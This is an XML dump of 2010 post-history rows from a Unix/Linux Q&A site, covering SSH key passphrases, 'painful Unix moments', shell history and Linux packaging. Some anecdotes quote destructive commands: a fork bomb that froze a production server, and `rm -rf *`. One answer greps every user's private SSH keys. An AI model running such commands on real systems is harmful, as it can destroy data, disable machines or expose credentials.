  <row Id="940" PostHistoryTypeId="2" PostId="501" RevisionGUID="1b2e2b52-8538-4162-a772-aa69a06417df" CreationDate="2010-08-14T18:45:13.673" UserId="5" Text="If you have access to the private key, I suppose, you can use it without passphrase to authenticate against the public key. If this works you know it has no passphrase. If it had, it would give you an error message.&#xD;&#xA;&#xD;&#xA;If you don't have access to the private key, I doubt you can detect this. The passphrase's purpose is to &quot;unlock&quot; the private key, it has no function in regard to the public key.&#xD;&#xA;&#xD;&#xA;In fact, if it would, it would make the system less secure. One could use the public key, that is available to try to mount brute force or other attacks trying to crack the passphrase." />
  <row Id="941" PostHistoryTypeId="6" PostId="454" RevisionGUID="f2ec2b37-ef01-4c87-9f7a-9b34bd97173d" CreationDate="2010-08-14T19:51:35.537" UserId="203" Comment="edited tags" Text="émonoàéeditorsàécñàéaspûnetà" />
  <row Id="942" PostHistoryTypeId="2" PostId="502" RevisionGUID="6d5870f0-88be-4ea2-a57e-a97df3bc4605" CreationDate="2010-08-14T21:05:26.873" UserId="203" Text="How about sharing your favorite _lessons learned_ moments?" />
  <row Id="943" PostHistoryTypeId="1" PostId="502" RevisionGUID="6d5870f0-88be-4ea2-a57e-a97df3bc4605" CreationDate="2010-08-14T21:05:26.873" UserId="203" Text="What are your favorite *painful* Unix moments." />
  <row Id="944" PostHistoryTypeId="3" PostId="502" RevisionGUID="6d5870f0-88be-4ea2-a57e-a97df3bc4605" CreationDate="2010-08-14T21:05:26.873" UserId="203" Text="éhumorà" />
  <row Id="945" PostHistoryTypeId="16" PostId="502" RevisionGUID="6d5870f0-88be-4ea2-a57e-a97df3bc4605" CreationDate="2010-08-14T21:05:26.873" UserId="203" />
  <row Id="946" PostHistoryTypeId="2" PostId="503" RevisionGUID="198136b9-eab2-464d-b2d8-6e7ea09dc7b7" CreationDate="2010-08-14T21:16:56.783" UserId="203" Text="When I first started working as a user consultant for the university I was attending, I was given limited `sudo` rights to help students who had lost/forgotten their passwords.  `sudo passwd &lt;username&gt;` was my new friend.  An hour after my orientation, my curiosity got the better of me and I typed in `sudo passwd` and stared in horror at the prompt for a new password.  I was a bit scared to `^C` my way out of it, thinking (erroniously it turns out) that I might leave the account in question in a transient state, so I entered a password and immediately walked up stairs to the hallowed 2nd floor domain of the campus SuperUser and asked if he would like to know the root password of the main system." />
  <row Id="947" PostHistoryTypeId="16" PostId="503" RevisionGUID="198136b9-eab2-464d-b2d8-6e7ea09dc7b7" CreationDate="2010-08-14T21:16:56.783" UserId="-1" />
  <row Id="948" PostHistoryTypeId="2" PostId="504" RevisionGUID="2b75b945-efcd-427c-9884-178ee98a3cff" CreationDate="2010-08-14T21:28:26.120" UserId="203" Text="Back in the mid to late 90s, a friend of mine and I were discussing the folly of `rm -rf *` and at what point a Linux box would go belly up.  We got into statically linked versus dynamically linked libraries and I posited that the system could live quite well without `/lib` and then proceeded to rename it on my workstation.  _Bad things happened_, but we were left with several open console windows with which to try and fix the damage (shutdown wasn't an option anymore).  None of the editors would run.  It is amazing the esoteric uses you can find for the `echo` command." />
  <row Id="949" PostHistoryTypeId="16" PostId="504" RevisionGUID="2b75b945-efcd-427c-9884-178ee98a3cff" CreationDate="2010-08-14T21:28:26.120" UserId="-1" />
  <row Id="950" PostHistoryTypeId="2" PostId="505" RevisionGUID="1b0a47f7-4c6f-48e5-9d43-49f900e04f88" CreationDate="2010-08-15T01:36:16.393" UserId="239" Text="Trying to get the Xwindows driver for my Nvidia card working when Fedora initially released the Nouveau driver. I had downloaded the Nvidia source to compile and install myself as I had many times in the past, but this release, I could just not get it to work. Therewas quite a few steps to find in the Fedora Forums to completely disable the Nouveau driver, and get the Nvidia driver working. Quite painful to say the least." />
  <row Id="951" PostHistoryTypeId="16" PostId="505" RevisionGUID="1b0a47f7-4c6f-48e5-9d43-49f900e04f88" CreationDate="2010-08-15T01:36:16.393" UserId="-1" />
  <row Id="952" PostHistoryTypeId="5" PostId="500" RevisionGUID="32703ba4-2c3e-489f-883f-0038b87330ec" CreationDate="2010-08-15T03:17:52.680" UserId="4" Comment="added 111 characters in body" Text="Some of my Linux &amp; FreeBSD systems have dozens of users. Users will use some of these &quot;ssh gateway&quot; nodes to SSH into other internal servers.&#xD;&#xA;&#xD;&#xA;We're concerned that some of these people use an unencrypted private SSH key (A key without a [passphrase][1]. [This is bad][2], because if a cracker ever gained access to their account on this machine, they could steal the private key and now have access to any machine which uses this same key. For security reasons, we require all users to encrypt their private SSH keys with a passphrase.&#xD;&#xA;&#xD;&#xA;How can I tell if a private key is not-encrypted (e.g. Does not contain a passphrase)? Is there a different method to do this on an ASCII-armored key vs. a non-ASCII-armored key?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;To clarify, assume I have superuser access on the machine and I can read everybody's private keys.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-keygen&amp;sektion=1#DESCRIPTION&#xD;&#xA;  [2]: http://www.ibm.com/developerworks/library/l-keyc.html#N101B2" />
  <row Id="953" PostHistoryTypeId="5" PostId="203" RevisionGUID="cecefe92-1d93-4087-beeb-27b376b46e1e" CreationDate="2010-08-15T05:26:47.320" UserId="224" Comment="deleted 4 characters in body" Text="You can use [`fish`][1] (files transferred over shell protocol).  There are various client implementations, but none require any server support beyond regular SSH.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Files_transferred_over_shell_protocol" />
  <row Id="954" PostHistoryTypeId="2" PostId="506" RevisionGUID="b9904d1d-6983-41b7-a47d-7a272d8ec170" CreationDate="2010-08-15T09:11:51.343" UserId="111" Text="It might be worth noting that&#xD;&#xA;&#xD;&#xA;*ssh -t lala screen -rxU moo* will attach to the **moo** session on host **lala**&#xD;&#xA;&#xD;&#xA;*ssh -t lala screen -S moo* will create the **moo** session on host **lala**&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;*ssh -t lala screen -S moo quux* will create the **moo** session on host **lala** and run the program **quux**, quitting the session on completion." />
  <row Id="955" PostHistoryTypeId="5" PostId="344" RevisionGUID="e254f61e-6935-410e-8932-e10853b15bdd" CreationDate="2010-08-15T09:15:02.150" UserId="111" Comment="added 91 characters in body" Text="I'd recommend kerberos.  MIT produces a krb5 client &amp; server.&#xD;&#xA;&#xD;&#xA;vwduder, could you recommend a smart card reader and a source of FIPS-201 compliant cards?&#xD;&#xA;&#xD;&#xA;http://csrc.nist.gov/publications/fips/fips201-1/FIPS-201-1-chng1.pdf&#xD;&#xA;&#xD;&#xA;I have a copy on my own server, but I am not popular enough on this stacktrace at this moment to share it with you.  The above is only slightly less reliable than our own servers, so you will probably be able to get it from them ;)&#xD;&#xA;&#xD;&#xA;[edit] I'm now popular enough!&#xD;&#xA;&#xD;&#xA;http://www.colliertech.org/state/FIPS-201-1-chng1.pdf" />
  <row Id="956" PostHistoryTypeId="2" PostId="507" RevisionGUID="ecb84a4b-9e8e-4680-87ab-3b6229d4f440" CreationDate="2010-08-15T10:00:39.757" UserId="351" Text="export PAGER=most&#xD;&#xA;" />
  <row Id="957" PostHistoryTypeId="2" PostId="508" RevisionGUID="0ebc2f14-406d-41b3-8efb-90592de06f63" CreationDate="2010-08-15T10:03:47.177" UserId="351" Text="I second the Stevens recommendation. The only real alternative is Advanced UNIX Programming by M.J. Rochkind: http://basepath.com/aup/&#xD;&#xA;&#xD;&#xA;ORA's POSIX Programmer's Guide (http://oreilly.com/catalog/9780937175736) may be useful, but I haven't read it myself.&#xD;&#xA;" />
  <row Id="958" PostHistoryTypeId="2" PostId="509" RevisionGUID="e28db5de-ef06-45fd-b75f-0a880192dc21" CreationDate="2010-08-15T10:12:03.857" UserId="351" Text="Well, for BSD Unices, there's The Design and Implementation of the 4.4BSD Operating System, now apparently available for free at http://www.freebsd.org/doc/en/books/design-44bsd/" />
  <row Id="959" PostHistoryTypeId="4" PostId="422" RevisionGUID="88999e33-2858-40b3-b01f-5e9bbd95fd9a" CreationDate="2010-08-15T11:28:19.103" UserId="274" Comment="spelling correction" Text="Good introduction to SubVersion for inexperienced users?" />
  <row Id="960" PostHistoryTypeId="2" PostId="510" RevisionGUID="84207846-3637-4bbb-a59f-6458863ab20b" CreationDate="2010-08-15T12:20:16.077" UserId="258" Text="I learned it by writing a monitoring tool. It would connect to a bunch of machines via ssh and collect data like uptime, load, number of active connections, memory utilization and stuff like that. On my local machine it would show me that data as a text table." />
  <row Id="961" PostHistoryTypeId="2" PostId="511" RevisionGUID="c45c7b48-31d1-45ea-a5d0-b36d2d21b7ca" CreationDate="2010-08-15T14:38:38.583" UserId="119" Text="Well, I've tried several things that probably shouldn't be tried. For example:&#xD;&#xA;&#xD;&#xA; 1. I tried to compile my own kernel on Ubuntu. I used `make oldconfig &amp;&amp; make menuconfig &amp;&amp; make` and ended up with lots of kernel panics because I'd done all sorts of things in the `make menuconfig` stage. I also tried to apply the PaX/grsecurity patch at one point. I did successfully run a kernel when I copied my config from /boot to /usr/src/linux but that's the only time it has ever worked well... warning: Ubuntu especially patch kernels and sometimes other things don't work if you run a vanilla kernel.&#xD;&#xA; 2. I tried to get packet injection working on an intel wireless 3495 card. Basically it's impossible (or was at the time) but I did all sorts of things including replacing kernel modules and compiling experimental subsystems. Another warning: patience is a virtue. Wait for your distributor to ship it, then use it, or alternatively, find a LiveCD like Backtrack!&#xD;&#xA;&#xD;&#xA;But by far the most disastrous thing I have ever done was to try to install SELinux on Ubuntu. I tried this because I've never liked AppArmor (and it wouldn't let me print). It should be just a few `apt-get`'s but the result is you end up unable to log in because the policy wouldn't let me. The only way out of it was to disable selinux via the kernel command line and to leave it that way. Turns out debian weren't massively interested in packaging it..." />
  <row Id="962" PostHistoryTypeId="16" PostId="511" RevisionGUID="c45c7b48-31d1-45ea-a5d0-b36d2d21b7ca" CreationDate="2010-08-15T14:38:38.583" UserId="-1" />
  <row Id="963" PostHistoryTypeId="2" PostId="512" RevisionGUID="14fe5b70-7231-4f94-aea2-c0b782c667a0" CreationDate="2010-08-15T15:00:19.360" UserId="45" Text="You can't do this with just the public key and even if you could, it would be largely useless because they can always remove the pass phrase from their private key without you knowing." />
  <row Id="964" PostHistoryTypeId="2" PostId="513" RevisionGUID="c10a5281-8ed8-4043-9543-e5d5fe7b0f99" CreationDate="2010-08-15T16:07:04.877" UserId="228" Text="Not really my moment, but someone else's.&#xD;&#xA;&#xD;&#xA;Back when I worked at a nuclear sciences research facility we used to run a number of SunOS, Ultrix and Linux computers and researchers had to share the CPU on those machines.   As individual research groups got their own research grants they purchased their own computers, mostly SparcStations and they did the system administration themselves.&#xD;&#xA;&#xD;&#xA;SunOS used to ship with the OpenView desktop and a nice file manager, this is what it looked like:&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Most of our researchers were running as root, and more than once we had to reinstall their operating systems because someone had decided to tidy-up the root directory and moved /bin, /etc, /tmp and everything else that cluttered the view into either the Trashcan or some subfolder.&#xD;&#xA;&#xD;&#xA;Other users chose to tidy up the /bin directory and remove any command they did not know.   &#xD;&#xA;&#xD;&#xA;The lucky ones had back ups, most hard purchased a tape drive, but did not have a tradition of running backups themselves.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/bMLOD.png" />
  <row Id="965" PostHistoryTypeId="16" PostId="513" RevisionGUID="c10a5281-8ed8-4043-9543-e5d5fe7b0f99" CreationDate="2010-08-15T16:07:04.877" UserId="-1" />
  <row Id="966" PostHistoryTypeId="2" PostId="514" RevisionGUID="aecf486e-e386-41ac-9ba5-e9bb8a57adb2" CreationDate="2010-08-15T16:09:57.243" UserId="228" Text="I would like to re-recommend the three books that I suggested in another thread, these are in my opinion the best books to get into the spirit of Unix:&#xD;&#xA;&#xD;&#xA;* The Unix Programming Environment from Kernighan and Pike&#xD;&#xA;* Unix for the Impatient &#xD;&#xA;* O'Reilly's Unix Power Tools.&#xD;&#xA;&#xD;&#xA;The first one is old, very old, but it is concise, a short read and will give you the shell chops that you need (regular expressions, sed, pipelines).&#xD;&#xA;&#xD;&#xA;The second one is incredibly entertaining.&#xD;&#xA;&#xD;&#xA;The third one is a collection of &quot;best of&quot; tricks from the Unix masters in the 90's (That is when I read it).   The book keeps getting re-edited, so I am sure it contains many new nuggets.&#xD;&#xA;" />
  <row Id="967" PostHistoryTypeId="2" PostId="515" RevisionGUID="0f4404ce-6660-4436-97d8-4e4d08474800" CreationDate="2010-08-15T16:43:44.093" UserId="45" Text="I second Miguel's recommendation of 'The Unix Programming Environment'.  Its really old but its how I learned almost everything I know about the shell and because its so old you can get it for just a few bucks on amazon:  http://is.gd/eiSn6 " />
  <row Id="968" PostHistoryTypeId="6" PostId="7" RevisionGUID="12efca6f-3ebf-41eb-b282-306d16fff802" CreationDate="2010-08-15T20:02:15.107" UserId="203" Comment="edited tags" Text="élinuxàépartitionà" />
  <row Id="969" PostHistoryTypeId="2" PostId="516" RevisionGUID="61bf5643-ba85-4f3d-8c45-2f3061b68cfc" CreationDate="2010-08-15T23:27:04.180" UserId="210" Text="Makefile:&#xD;&#xA;&#xD;&#xA;    clean:&#xD;&#xA;        @rm -f * .o&#xD;&#xA;&#xD;&#xA;Which, of course, makes `make clean` wipe your source code instead of just object files.&#xD;&#xA;&#xD;&#xA;Lesson: use version control." />
  <row Id="970" PostHistoryTypeId="16" PostId="516" RevisionGUID="61bf5643-ba85-4f3d-8c45-2f3061b68cfc" CreationDate="2010-08-15T23:27:04.180" UserId="-1" />
  <row Id="971" PostHistoryTypeId="2" PostId="517" RevisionGUID="77dd695c-66e6-4cf2-8094-1499134ceeae" CreationDate="2010-08-16T01:16:43.857" UserId="228" Text="I am familiar with how the X11 system works where clients connect via a socket to the server process and send operations to the window server to perform certain operations on their behalf.&#xD;&#xA;&#xD;&#xA;But I do not understand (and I could not find good documents) describing how a GUI application interacts with the window system on OSX.   Some of the questions that I have include:&#xD;&#xA;&#xD;&#xA;* How does an app receive events from the windowing system?&#xD;&#xA;* Does the app need to register with the kernel, or some windowing system server?&#xD;&#xA;* How does the windowing system request that an app update its display?&#xD;&#xA;* How does an app trigger a re-display operation?&#xD;&#xA;* Is there a socket-based protocol, or some other RPC system to the windowing system?&#xD;&#xA;* Does the windowing system have direct hardware access?   Does the application?&#xD;&#xA;* What are the operations available between client apps and the windowing system?&#xD;&#xA;" />
  <row Id="972" PostHistoryTypeId="1" PostId="517" RevisionGUID="77dd695c-66e6-4cf2-8094-1499134ceeae" CreationDate="2010-08-16T01:16:43.857" UserId="228" Text="What is the architecture of OSX's Windowing system?" />
  <row Id="973" PostHistoryTypeId="3" PostId="517" RevisionGUID="77dd695c-66e6-4cf2-8094-1499134ceeae" CreationDate="2010-08-16T01:16:43.857" UserId="228" Text="éosxàéwindowömanagerà" />
  <row Id="974" PostHistoryTypeId="2" PostId="518" RevisionGUID="0862ff87-13d2-4880-b196-e811422b8058" CreationDate="2010-08-16T01:18:10.907" UserId="228" Text="Is it possible to connect to a remote OSX machine using OSX, Linux or Windows in a way similar to Windows' remote desktop?&#xD;&#xA;" />
  <row Id="975" PostHistoryTypeId="1" PostId="518" RevisionGUID="0862ff87-13d2-4880-b196-e811422b8058" CreationDate="2010-08-16T01:18:10.907" UserId="228" Text="Accessing a remote OSX system from OSX, Linux, Windows." />
  <row Id="976" PostHistoryTypeId="3" PostId="518" RevisionGUID="0862ff87-13d2-4880-b196-e811422b8058" CreationDate="2010-08-16T01:18:10.907" UserId="228" Text="éosxàéremoteà" />
  <row Id="977" PostHistoryTypeId="2" PostId="519" RevisionGUID="d115baa6-e354-4294-8dfa-69974908ff3a" CreationDate="2010-08-16T01:25:36.830" UserId="228" Text="As OpenGL evolves, it seems that there are three camps:&#xD;&#xA;&#xD;&#xA;* OpenGL legacy, packed with &quot;deprecated APIs&quot;&#xD;&#xA;* OpenGL ES, for embedded systems&#xD;&#xA;* OpenGL &quot;new stuff&quot; which comes out every couple of months.&#xD;&#xA;&#xD;&#xA;If I wanted to learn OpenGL for modern systems, where should I start?   And most importantly, is there a reason to go beyond OpenGL ES for someone that has never done OpenGL before?" />
  <row Id="978" PostHistoryTypeId="1" PostId="519" RevisionGUID="d115baa6-e354-4294-8dfa-69974908ff3a" CreationDate="2010-08-16T01:25:36.830" UserId="228" Text="Where to start to learn OpenGL" />
  <row Id="979" PostHistoryTypeId="3" PostId="519" RevisionGUID="d115baa6-e354-4294-8dfa-69974908ff3a" CreationDate="2010-08-16T01:25:36.830" UserId="228" Text="éopenglàéembeddedà" />
  <row Id="980" PostHistoryTypeId="2" PostId="520" RevisionGUID="57a13c6c-26d6-464c-acdf-18a67878da0b" CreationDate="2010-08-16T01:54:31.567" UserId="96" Text="One simple way is to turn on vnc screen sharing by going to System Preferences -&gt; Sharing -&gt; Screen Sharing on the machine you want to share.  Once you've done that you can connect to the screen on OSX using the Finder sidebar [SHARED] section or on linux using one of the many vnc clients (vinagre, vnclient etc.)." />
  <row Id="981" PostHistoryTypeId="6" PostId="518" RevisionGUID="8f8e3c13-9034-4c81-b26d-97c730be9b9e" CreationDate="2010-08-16T01:58:00.623" UserId="96" Comment="edited tags" Text="éosxàéremoteàévncà" />
  <row Id="982" PostHistoryTypeId="5" PostId="520" RevisionGUID="51751c6a-1e83-4747-9e2e-fd606a65a8a3" CreationDate="2010-08-16T02:07:48.773" UserId="96" Comment="added 214 characters in body" Text="One simple way is to turn on vnc screen sharing by going to System Preferences -&gt; Sharing -&gt; Screen Sharing on the machine you want to share. For client compatibility reasons you  may need to select both &quot;Anyone may request permission to control this screen&quot; and the &quot;VNC viewers may control this screen with a password&quot; checkboxes.&#xD;&#xA;&#xD;&#xA;Once you've set up the machine for sharing you can connect to the screen on OSX using the Finder sidebar [SHARED] section or on linux using one of the many vnc clients (vinagre, vnclient etc.)." />
  <row Id="983" PostHistoryTypeId="2" PostId="521" RevisionGUID="7022cf51-d35c-4023-a696-983fb24d0199" CreationDate="2010-08-16T04:16:47.240" UserId="45" Text="I would start with the NeHe opengl tutorials:  http://nehe.gamedev.net/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="984" PostHistoryTypeId="2" PostId="522" RevisionGUID="ac25a733-024c-4c49-abaa-eee85bac3b6f" CreationDate="2010-08-16T05:44:00.900" UserId="29" Text="I [deleted /etc and then recovered it][1]. I don't think I learned my lesson... I've had to recover from a deleted `/bin` too. Seems to happen when I've been working with a `chroot`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xenoterracide.com/2008/12/recovering-from-deleted-etc.html" />
  <row Id="985" PostHistoryTypeId="16" PostId="522" RevisionGUID="ac25a733-024c-4c49-abaa-eee85bac3b6f" CreationDate="2010-08-16T05:44:00.900" UserId="-1" />
  <row Id="986" PostHistoryTypeId="2" PostId="523" RevisionGUID="76cde83e-cbcc-4f25-9161-f42185b88064" CreationDate="2010-08-16T07:34:50.273" UserId="57" Text="I face this issue on some of unix servers.  &#xD;&#xA;When I open different session for same user, command history is shared by all the session.   &#xD;&#xA;This creates issue if by mistake I press `Ctrl-P` or `up arrow` and just press Enter.&#xD;&#xA;On one occasion I end up running `rm -rf *` thankfully I was in directory where I don't have permissions to remove files.&#xD;&#xA;&#xD;&#xA;How to have separate command history for different sessions  for same user?&#xD;&#xA;Most of the time I am using ksh and tcsh shells." />
  <row Id="987" PostHistoryTypeId="1" PostId="523" RevisionGUID="76cde83e-cbcc-4f25-9161-f42185b88064" CreationDate="2010-08-16T07:34:50.273" UserId="57" Text="separate command history for different sessions  for same user" />
  <row Id="988" PostHistoryTypeId="3" PostId="523" RevisionGUID="76cde83e-cbcc-4f25-9161-f42185b88064" CreationDate="2010-08-16T07:34:50.273" UserId="57" Text="écommandölineàékshàétcshàécommandöhistoryà" />
  <row Id="989" PostHistoryTypeId="2" PostId="524" RevisionGUID="970de772-d2ab-4a1d-b327-1c3e620b02f2" CreationDate="2010-08-16T07:56:45.447" UserId="76" Text="&#xD;&#xA;In a few points, what are the strength and weakness of your favourite Unix. Tell us the unique features that other implementations do not offer." />
  <row Id="990" PostHistoryTypeId="1" PostId="524" RevisionGUID="970de772-d2ab-4a1d-b327-1c3e620b02f2" CreationDate="2010-08-16T07:56:45.447" UserId="76" Text="What are the strength and weakness of different Unixes" />
  <row Id="991" PostHistoryTypeId="3" PostId="524" RevisionGUID="970de772-d2ab-4a1d-b327-1c3e620b02f2" CreationDate="2010-08-16T07:56:45.447" UserId="76" Text="éunixà" />
  <row Id="992" PostHistoryTypeId="2" PostId="525" RevisionGUID="7d2da6a2-2eae-42e7-af80-4e1c9f21b9db" CreationDate="2010-08-16T08:05:14.537" UserId="29" Text="You could use [screen](http://www.gnu.org/software/screen/). I also made a [variable that was defined by my konsole profile and gave each of sessions a different history file](http://www.xenoterracide.com/2010/02/bash-and-konsole.html), only ways I can think of." />
  <row Id="993" PostHistoryTypeId="2" PostId="526" RevisionGUID="5060d2bc-d58a-4e11-915f-739e34159cd1" CreationDate="2010-08-16T08:12:24.270" UserId="272" Text="I'm assuming you are talking about simultaneous sessions; separating sessions that are after one another isn't very useful: you would never be able to use it's history anymore, because all sessions would be unique. If that were the case, you would probably be better off just disabling command history.&#xD;&#xA;&#xD;&#xA;If we are talking about separating simultaneous session, I'd recommend you use Bash. I'm pretty sure I'm not getting the command history from two simultaneous sessions mixed with it. Bash only writes history to .bash_history at logout, so command history won't get mixed until after logout. Provided that using Bash is acceptable, would that solve your issue? " />
  <row Id="994" PostHistoryTypeId="2" PostId="527" RevisionGUID="0fba692d-5283-42bd-a20b-06d9fbaca655" CreationDate="2010-08-16T08:49:15.257" UserId="261" Text="XQuartz is the open-source project of the X.org X Window System that runs on Mac OS X. Their [developer wiki and mailing list][1] should help you with your questions, seems like you need someone deeply involved in the project to answer those.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xquartz.macosforge.org/trac/wiki/WikiStart" />
  <row Id="995" PostHistoryTypeId="2" PostId="528" RevisionGUID="07b5f990-eb16-440b-9a31-e598ab025a37" CreationDate="2010-08-16T11:23:40.300" UserId="188" Text="Well, OpenSSH private keys with empty passphrases are actually not encrypted. &#xD;&#xA;&#xD;&#xA;*Encrypted* private keys are declared as such in the private key file. For instance:&#xD;&#xA;&#xD;&#xA;    -----BEGIN RSA PRIVATE KEY-----&#xD;&#xA;    Proc-Type: 4,ENCRYPTED&#xD;&#xA;    DEK-Info: DES-EDE3-CBC,7BD2F97F977F71FC&#xD;&#xA;    &#xD;&#xA;    BT8CqbQa7nUrtrmMfK2okQLtspAsZJu0ql5LFMnLdTvTj5Sgow7rlGmee5wVuqCI&#xD;&#xA;    /clilpIuXtVDH4picQlMcR+pV5Qjkx7BztMscx4RCmcvuWhGeANYgPnav97Tn/zp&#xD;&#xA;    ...&#xD;&#xA;    -----END RSA PRIVATE KEY-----&#xD;&#xA;&#xD;&#xA;So something like&#xD;&#xA;&#xD;&#xA;    # grep -L ENCRYPTED /home/*/.ssh/id_[rd]sa&#xD;&#xA;&#xD;&#xA;should do the trick." />
  <row Id="996" PostHistoryTypeId="2" PostId="529" RevisionGUID="45af3138-8e7f-403a-a208-7278779b52e6" CreationDate="2010-08-16T11:33:11.420" UserId="62" Text="From the [ksh faq][1]:&#xD;&#xA;&#xD;&#xA;&gt; Q1.	How do I get separate history&#xD;&#xA;&gt; files for shell? &#xD;&#xA;&#xD;&#xA;&gt; A1.	ksh uses a shared&#xD;&#xA;&gt; history file for all shells that 	use&#xD;&#xA;&gt; the same history file name.  This&#xD;&#xA;&gt; means 	that commands entered in one&#xD;&#xA;&gt; window will be seen by 	shells in&#xD;&#xA;&gt; other windows.  To get separate&#xD;&#xA;&gt; windows, 	the HISTFILE variable needs&#xD;&#xA;&gt; to be set to different name 	before&#xD;&#xA;&gt; the first history command is created.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kornshell.com/doc/faq.html" />
  <row Id="997" PostHistoryTypeId="2" PostId="530" RevisionGUID="e4928438-49c3-4369-8a81-db1942dc02fe" CreationDate="2010-08-16T13:22:35.717" UserId="252" Text="You can add `HISTFILE=~/.hist$$` to your `.profile`.&#xD;&#xA;This should generate a unique file per session.&#xD;&#xA;&#xD;&#xA;You will end up with a large number of `.hist*` so I suggest you remove them occasionally. " />
  <row Id="998" PostHistoryTypeId="2" PostId="531" RevisionGUID="47e5ec40-bdd0-4b91-b270-743e22b8dfe5" CreationDate="2010-08-16T13:56:37.240" UserId="357" Text="The source code in not open or free, so compilation at installation is not an option.  Have seen some companies provide a tar.gz file and it is up to user to uncompress in suitable location.  Have seen some companies provide a .tar.gz with an install.sh script to run a basic installer, possibly even prompting user for install options.  Have seen some companies provide RPM and/or deb files, allowing user to continue using the native package management tools they are familiar with to install/upgrade/uninstall.  Would like to support the most number of Linux distributions, make users' lives as easy as possible, and yet maintain as little build/packaging/installer infrastructure as possible too.  Looking for recommendations." />
  <row Id="999" PostHistoryTypeId="1" PostId="531" RevisionGUID="47e5ec40-bdd0-4b91-b270-743e22b8dfe5" CreationDate="2010-08-16T13:56:37.240" UserId="357" Text="What installer types should commercial software use to support Linux?" />
  <row Id="1000" PostHistoryTypeId="3" PostId="531" RevisionGUID="47e5ec40-bdd0-4b91-b270-743e22b8dfe5" CreationDate="2010-08-16T13:56:37.240" UserId="357" Text="élinuxàéinstallàépackagingà" />
  <row Id="1001" PostHistoryTypeId="2" PostId="532" RevisionGUID="4105d457-ec97-450b-bc12-55370b24203b" CreationDate="2010-08-16T14:07:05.077" UserId="357" Text="Which Linux distributions have the most installed machines?  What is the distribution in terms of distro, architecture, and version?  e.g.  &#xD;&#xA;&#xD;&#xA;Ubuntu vs. RHEL vs. SUSE vs. Fedora vs. CentOS vs. Arch vs. ...&#xD;&#xA;Ubuntu 8.04 vs. Ubuntu 9.04 vs. Ubuntu 10.04 vs. RHEL 3 vs. RHEL 4 vs. RHEL 5 vs. ...&#xD;&#xA;amd64 vs. i386 vs. ppc vs. ppc64 vs. ARM vs. ...&#xD;&#xA;" />
  <row Id="1002" PostHistoryTypeId="1" PostId="532" RevisionGUID="4105d457-ec97-450b-bc12-55370b24203b" CreationDate="2010-08-16T14:07:05.077" UserId="357" Text="Which Linux distributions have highest install-base as of mid-2010?" />
  <row Id="1003" PostHistoryTypeId="3" PostId="532" RevisionGUID="4105d457-ec97-450b-bc12-55370b24203b" CreationDate="2010-08-16T14:07:05.077" UserId="357" Text="élinuxàédistrosà" />
  <row Id="1005" PostHistoryTypeId="2" PostId="534" RevisionGUID="7480e2d1-1776-49a3-a7ae-38d861034135" CreationDate="2010-08-16T14:11:18.563" UserId="62" Text="My preference is always for a package (rpm|deb etc.). Depending on the nature of the software it may be worth targeting packages for specific distros (rhel/centos etc.), but you'll probably never be able to roll enough packages for everyone.&#xD;&#xA;&#xD;&#xA;Install scripts can be ok, depending on the script. For me, the most important thing with non packaged software is that it's easy to install it at a location I choose.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1006" PostHistoryTypeId="2" PostId="535" RevisionGUID="7f964ee9-d606-44be-a78f-2e677279624c" CreationDate="2010-08-16T14:11:33.617" UserId="138" Text="I see two ways to look at it.&#xD;&#xA;&#xD;&#xA;One is to target the most popular Linuxes, providing native packages for each, delivering packages in popularity order.  A few years ago, that meant providing RPMs for Red Hat type Linuxes first, then as time permitted rebuilding the source RPM for each less-popular RPM-based Linux.  This is why, say, the Mandriva RPM is often a bit older than the Red Hat or SuSE RPM.  With Ubuntu being so popular these past few years, though, you might want to start with .deb and add RPM later.&#xD;&#xA;&#xD;&#xA;The other is to try to target *all* Linuxes at once, which is what those providing binary tarballs are attempting.  I really dislike this option, as a sysadmin and end user.  Such tarballs scatter files all over the system you unpack them on, and there's no option later for niceties like uninstall, package verification, intelligent upgrades, etc.&#xD;&#xA;&#xD;&#xA;You can try a mixed approach: native packages for the most popular Linuxes, plus binary tarballs for oddball Linuxes and old-school sysadmins who don't like package managers for whatever reason." />
  <row Id="1007" PostHistoryTypeId="2" PostId="536" RevisionGUID="d1679fc0-2984-4239-8e3c-f36ed5b9a119" CreationDate="2010-08-16T14:13:45.997" UserId="163" Text="Had a friend run `:() { :|:&amp;}; :` on a remote server where we didn't have console access to. Couldn't reboot it, completely frozen, *production server*. " />
  <row Id="1008" PostHistoryTypeId="16" PostId="536" RevisionGUID="d1679fc0-2984-4239-8e3c-f36ed5b9a119" CreationDate="2010-08-16T14:13:45.997" UserId="-1" />
  <row Id="1009" PostHistoryTypeId="10" PostId="524" RevisionGUID="cb102451-6169-47ff-8e6f-664733ece87e" CreationDate="2010-08-16T16:18:54.133" UserId="-1" CloseReasonId="3" Text="[{&quot;Id&quot;:62,&quot;DisplayName&quot;:&quot;theotherreceive&quot;},{&quot;Id&quot;:163,&quot;DisplayName&quot;:&quot;Josh K&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Warren Young&quot;},{&quot;Id&quot;:78,&quot;DisplayName&quot;:&quot;Eimantas&quot;},{&quot;Id&quot;:31,&quot;DisplayName&quot;:&quot;KeithB&quot;}]" />
